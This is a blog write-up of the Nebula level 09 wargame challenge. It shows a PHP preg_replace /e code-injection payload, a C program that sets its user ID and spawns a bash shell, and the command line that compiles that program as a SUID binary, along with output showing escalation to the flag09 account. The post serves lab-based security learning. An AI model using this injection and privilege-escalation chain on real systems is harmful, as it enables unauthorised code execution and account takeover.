MattAndreko.com

"hostess is a code-slaying dragon found deep within the core of the earth, unearthing magma and vulnerabilities single handedly while using the other hand to pet his cat"

Exploit Exercises - Nebula 09

| Comments

Challenge 09 gave me the most issues out of any other challenge so far. This may just be because I haven’t touched PHP since version 3 was just coming out. However, it is based on a dangerous function, known as preg_replace(). There are several more dangerous functions, some of which can be seen here.

The challenge starts by giving us the source code of the program we will be exploiting.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

function spam($email)
{
  $email = preg_replace("/\./", " dot ", $email);
  $email = preg_replace("/@/", " AT ", $email);
  
  return $email;
}

function markup($filename, $use_me)
{
  $contents = file_get_contents($filename);

  $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
  $contents = preg_replace("/\[/", "<", $contents);
  $contents = preg_replace("/\]/", ">", $contents);

  return $contents;
}

$output = markup($argv[1], $argv[2]);

print $output;

?>

What I noticed immediately, was that the program accepted 2 arguments, but never used the second one, other than to pass it into the “markup” function as “$use_me”. This seemed odd, so I figured it had to do something with that. I also thought at first that the “spam” function was never being called, but then noticed it in quotes on the first line of “preg_replace” statements. I had to look this function up, and find out that it would evaluate the code at run-time. This means that I needed to inject code into that call to “spam()”.

I tried doing some basic injection to try to get something equivelent to it calling:

1
spam("");system("/bin/bash");print("");

However this never worked, because of the PCRE modifiers built into PHP. They automatically will escape single and double quotes, as well as backticks (at least according to the docs). I spent hours trying to inject various strings to get some sort of code execution.

Somewhere along the line, I read a page (sorry I can’t seem to find it again) where they mentioned using an alternative syntax to the backreferences in preg_replace. So instead of using \2, you could use ${2}. This is covered slightly on the preg_replace php function reference. What that reference doesn’t show, is that you can apparently have that not just reference parameters, but any variable in the code. After tinkering a while, I settled on a pattern. I created a file named, /tmp/level09.txt

1
[email {${`$use_me`}}]

Firstly, I had to start with “[email ” and end with “]” to get it into this regex at all. Because of the PCRE modifiers, I used back-ticks, because in researching them, I ran across a blog post saying that back-ticks were able to bypass them somehow. So with variable expansion, and the PCRE modifier bypass, this should let me inject some code into the function.

Because running a “system()” or “exec()” method in the php caused me problems with interactivity, I opted to use commands that required no interaction at run-time. I again used my /tmp/bash_id.c file from challenge 07:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
    if (argc != 2)
        printf("usage: %s <user id>\n", argv[0]);
    else {
        int i = atoi(argv[1]);
        setresuid(i, i, i);
        setresgid(i, i, i);
        system( "/bin/bash" );
    }
    return 0;
}

I then would call the compiled SUID version of the php file with 2 parameters. The first would be the text file I wanted to parse, and the second would be the commands I wanted to run, which would get inserted into the $use_me variable.

1
2
level09@nebula:/home/flag09$ ./flag09 /tmp/level09.txt "gcc -o /home/flag09/bash_id /tmp/bash_id.c;chmod +s,a+rwx /home/flag09/bash_id"
PHP Notice:  Undefined variable:  in /home/flag09/flag09.php(15) : regexp code on line 1

This compiled my bash_id.c source file to the flag09 user’s home directory, and marked it SUID. I ignored the PHP Notice, since I knew I was tinkering.

After making sure the bash_id program did get created properly, I just needed to call it with the userid of flag09 as the first parameter.

1
2
3
level09@nebula:/home/flag09$ ./bash_id `cat /etc/passwd | grep flag09 | cut -d : -f 3`
flag09@nebula:/home/flag09$ getflag
You have successfully executed getflag on a target account

This apparently worked, so I ran the “getflag” command as usual, marking completion of this challenge. This was by far the most guessing I’ve had to do on any of the challenges so far. I really hope that I don’t get stuck soon, leaving me unable to continue on.

Comments